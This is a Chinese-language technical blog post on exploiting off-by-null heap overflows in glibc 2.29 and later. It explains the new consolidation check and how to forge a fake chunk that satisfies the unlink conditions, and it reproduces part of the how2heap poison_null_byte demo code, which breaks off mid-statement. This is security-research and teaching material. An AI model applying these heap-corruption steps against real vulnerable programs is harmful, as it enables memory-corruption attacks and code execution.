glibc2.29+的off by null利用
本文首发自跳跳糖(http://tttang.com/archive/1614/)
本文介绍了off by null的爆破法和直接法两类做法,并基于已有的高版本off by null的利用技巧做了一点改进,提出一种无特殊限制条件的直接法,更具有普适性。
前置知识
2.29以前
2.29以前,利用off by null只需要:
-
chunk A已被释放,且可以unlink
-
伪造C.prevsize, 并且off by null覆盖prev_inuse为0
那么在释放chunk C时就可打出后向合并,从而造成合并后的chunk ABC 和chunk B重叠。
2.29以后
2.29加入了一个检查
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize)); // 获取前一块chunk
if (__glibc_unlikely (chunksize(p) != prevsize)) // 新加的检查。前一块chunk的size和prevsize要相等。
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
如果是off by one的任意字节写,那么可以把A.size伪造成A.size+B.size。但是仅仅是写0字节就没有办法直接伪造成功。
因此需要伪造一个chunk p,这样就很容易可以绕过chunksize§ != prevsize检查。
但由于是伪造的chunk,所以需要手动构造fd、bk以满足unlink的条件。即
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // 链表里,p->前向->后向==p。
malloc_printerr ("corrupted double-linked list");
构造unlink条件的思路
如果可以得到堆地址就可以直接在堆上构造fake double-linked list。
大多数情况下得不到堆地址就可以通过堆机制残留下来的堆地址做部分写入来构造 fake double-linked list。这个过程中存在以下两个难点。
难点1 多写入的0字节
off by null默认会多写入一个0字节,意味着,最少要覆盖2字节。比如要部分写fd时,read最少读入一个字节,实际因为off by null还会多追加1个0字节,这样fd的低第2位为\x00,即0x???00??。很多情况下,因为低第2字节不完全可控(aslr),所以我们希望只部分写1个字节。
难点2 保存fd指针
从unsortedbin 双向链表里面取出来一个chunk时,fd指针会被破坏。
爆破法
公开的高版本off by null利用方法大多是用的爆破法。这里介绍how2heap的思路,其他爆破法的主要思路和how2heap的做法类似,此处不一一展开。
https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c
思路
伪造一个chunk p,其中size按布局来调整。
通过largebin的fd_nextsize,bk_nextsize指针来同时伪造p->fd, p->bk。通过unsortedbin的fd,bk指针来做部分写入,改为p。
为了解决难点1,通过堆布局使得 chunk p (即做unlink的chunk)的地址为 0x???0??。然后再1/16的概率爆破成0x???00??。这样做可以方便在部分写入时,很容易写成p。
为了解决难点2,通过把unsortedbin整理到largebin的方式来保存fd指针。
具体流程
大体布局
目标是free victim可以合并p:
-
p满足unlink条件构造。即 b->p->a 双向链表(不需要设置 b->bk和a->fd)
-
p.size == victim.prev_size
步骤1 申请chunk,低第2字节对齐
依次申请上图几个chunk。
注意,要让低第2字节为00. 即0x???00??。低3位可控,爆破第4位为0,1/16概率。
其中p的低2字节是0x0010。
步骤2设置fake chunk,p->fd=a,p->bk=b, p.size=0x501
依次free a, b, prev。完成unsortedbin: prev->b->a布局。
申请大chunk,把三个chunk放到largebin中。其中b->fd=a被保留下来。
根据size排序 largebin: b->prev->a。
取出prev,则prev->fd_nextsize=a,prev->bk_nextsize=b完成布局。
因为p = prev+0x10,所以p->fd = a, p->bk = b
步骤3设置b->fd=p
完成第2步后,largebin: b->a.
此时b->fd=a。取出b并部分写fd指针为p。因为p的低第2字节是\x00,所以这里可以正常覆盖\x10\x00。
步骤4设置a->bk=p
取出a,再次放到unsortedbin中,再放入victim。此时unsortedbin: victim->a
再次取出a,部分写bk指针为p。此处同步骤3。
至此完成unlink条件的构造。
步骤5 伪造prev_size和prev_inuse
把victim申请回来。再伪造prev_size, off by null填充size 的prev_inuse位。(how2heap中是在步骤2伪造prev_size,实际上在这里伪造,顺带覆盖prev_inuse更符合实际操作,不过这也无伤大雅)
最后free victim触发合并。
详细代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts("Welcome to poison null byte!");
puts("Tested in Ubuntu 20.04 64bit.");
puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.");
puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n");
// step1: allocate padding
puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00");
void *tmp = malloc(0x1);
void *heap_base = (void *)((long)tmp & (~0xfff));
printf("heap address: %p\n", heap_base);
size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;
printf("Calculate padding chunk size: 0x%lx\n", size);
puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.");
void *padding= malloc(size);
// step2: allocate prev chunk and victim chunk
puts("\nStep2: allocate two chunks adjacent to each other.");
puts("Let's call the first one 'prev' and the second one 'victim'.");
void *prev = malloc(0x500);
void *victim = malloc(0x4f0);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
printf("prev chunk: malloc(0x500) = %p\n", prev);
printf("victim chunk: malloc(0x4f0) = %p\n", victim);
// step3: link prev into largebin
puts("\nStep3: Link prev into largebin");
puts("This step is necessary for us to forge a fake chunk later");
puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk");
puts("allocate a chunk 'a' with size a little bit smaller than prev's");
void *a = malloc(0x4f0);
printf("a: malloc(0x4f0) = %p\n", a);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
puts("allocate a chunk 'b' with size a little bit larger than prev's");
void *b = malloc(0x510);
printf("b: malloc(0x510) = %p\n", b);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
puts("\nCurrent Heap Layout\n"
" ... ...\n"
"padding\n"
" prev Chunk(addr=0x??0010, size=0x510)\n"
" victim Chunk(addr=0x??0520, size=0x500)\n"
" barrier Chunk(addr=0x??0a20, size=0x20)\n"
" a Chunk(addr=0x??0a40, size=0x500)\n"
" barrier Chunk(addr=0x??0f40, size=0x20)\n"
" b Chunk(addr=0x??0f60, size=0x520)\n"
" barrier Chunk(addr=0x??1480, size=0x20)\n");
puts("Now free a, b, prev");
free(a);
free(b